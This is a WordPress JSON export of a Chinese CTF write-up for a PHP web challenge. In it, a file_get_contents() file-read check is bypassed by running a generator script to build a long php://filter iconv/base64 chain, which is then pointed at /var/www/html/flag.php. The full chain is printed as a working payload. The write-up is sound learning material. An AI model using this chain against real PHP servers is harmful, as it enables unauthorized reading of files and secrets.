{"id":2877,"date":"2026-01-01T20:01:31","date_gmt":"2026-01-01T12:01:31","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=2877"},"modified":"2026-01-01T20:01:36","modified_gmt":"2026-01-01T12:01:36","slug":"%e5%a4%a7%e9%81%93%e8%87%b3%e7%ae%80","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2026\/01\/01\/%e5%a4%a7%e9%81%93%e8%87%b3%e7%ae%80\/","title":{"rendered":"\u5927\u9053\u81f3\u7b80"},"content":{"rendered":"

\u4e00\u3001\u8bbf\u95ee\u9898\u76ee<\/h2>\n

\"\"<\/p>\n

\u4e8c\u3001\u4ee3\u7801\u5206\u6790\uff1a<\/h2>\n

\u4f7f\u7528file_get_contents($_GET['file'])<\/code>\u76f4\u63a5\u8bfb\u53d6\u6587\u4ef6\uff0c\u5b58\u5728\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\u3002<\/p>\n

\u4f46\u8bfb\u53d6\u7684\u5185\u5bb9\u5fc5\u987b\u5305\u542b<!DOCTYPE<\/code>\u5b57\u7b26\u4e32\uff0c\u5426\u5219\u76f4\u63a5\u7ec8\u6b62\u3002<\/p>\n

\u4e09\u3001\u89e3\u9898\u601d\u8def\uff1a<\/h2>\n

\u76f4\u63a5\u8bfb\u53d6flag.php\u65e0\u6cd5\u901a\u8fc7\u68c0\u67e5\uff0c\u56e0\u4e3a\u5176\u5185\u5bb9\u4e0d\u5305\u542b<!DOCTYPE<\/code>\u3002\u6211\u4eec\u9700\u8981\u5229\u7528PHP\u7684\u8fc7\u6ee4\u5668\u6d41\u5305\u88c5\u5668\uff08php:\/\/filter\uff09\u5bf9\u6587\u4ef6\u5185\u5bb9\u8fdb\u884c\u7f16\u7801\u8f6c\u6362\uff0c\u4f7f\u6700\u7ec8\u8f93\u51fa\u7684\u5185\u5bb9\u5305\u542b<!DOCTYPE<\/code>\u5b57\u7b26\u4e32\u3002<\/p>\n

PHP\u7684php:\/\/filter\u5141\u8bb8\u4f7f\u7528\u4e00\u7cfb\u5217\u8fc7\u6ee4\u5668\u5bf9\u6570\u636e\u8fdb\u884c\u5904\u7406\uff0c\u5305\u62ecconvert.iconv.*<\/code>\uff08\u5b57\u7b26\u96c6\u8f6c\u6362\uff09\u548cconvert.base64-*<\/code>\uff08Base64\u7f16\u7801\/\u89e3\u7801\uff09\u7b49\u3002\u901a\u8fc7\u7cbe\u5fc3\u6784\u9020\u8fc7\u6ee4\u5668\u94fe\uff0c\u53ef\u4ee5\u5c06\u4efb\u610f\u8f93\u5165\u6570\u636e\u8f6c\u6362\u4e3a\u5305\u542b\u7279\u5b9a\u5b57\u7b26\u4e32\u7684\u8f93\u51fa\u3002<\/p>\n

\u56db\u3001\u4f7f\u7528php\u8fc7\u6ee4\u94fe\u751f\u6210\u5668<\/h2>\n

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python php_filter_chain_generator.py --chain "<!DOCTYPE html>"\n<\/code><\/pre>\n
\"Pasted<\/p>\n
php:\/\/filter\/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode\/resource=php:\/\/temp\n<\/code><\/pre>\n
\u4e94\u3001\u66f4\u6539resource\u4e3a\u8bfb\u53d6\u7684\u6587\u4ef6\/var\/www\/html\/flag.php<\/h2>\n
\u516d\u3001\u8f93\u5165payload<\/h2>\n
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    \n
  • php\u8fc7\u6ee4\u94fe
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      \n
    • \n
      base64\u7f16\u7801\u89c4\u5219\uff1a<\/p>\n
        \n
      • Base64\u5c06\u6bcf3\u4e2a\u5b57\u8282\u7f16\u7801\u4e3a4\u4e2a\u5b57\u7b26<\/li>\n
      • \u5982\u679c\u539f\u59cb\u6570\u636e\u957f\u5ea6\u4e0d\u662f3\u7684\u500d\u6570\uff0c\u4f1a\u7528=<\/code>\u586b\u5145<\/li>\n
      • FREE<\/code>\uff084\u4e2a\u5b57\u7b26\uff09 \u2192 Base64 \u2192\u00a0RlJFRQ==<\/code>\uff08\u67092\u4e2a=<\/code>\uff09<\/li>\n<\/ul>\n<\/li>\n
      • \n
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        http:\/\/www.lryc.cn\/news\/187553.html\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
        \u4e00\u3001\u8bbf\u95ee\u9898\u76ee \u4e8c\u3001\u4ee3\u7801\u5206\u6790\uff1a \u4f7f\u7528file_get_contents($_GET[‘file’])\u76f4\u63a5\u8bfb\u53d6\u6587\u4ef6 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24,8,22],"tags":[28,84,27],"class_list":["post-2877","post","type-post","status-publish","format-standard","hentry","category-buuctf","category-ctf","category-ctf-web","tag-php","tag-27"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2877","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=2877"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2877\/revisions"}],"predecessor-version":[{"id":2878,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2877\/revisions\/2878"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=2877"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=2877"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=2877"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}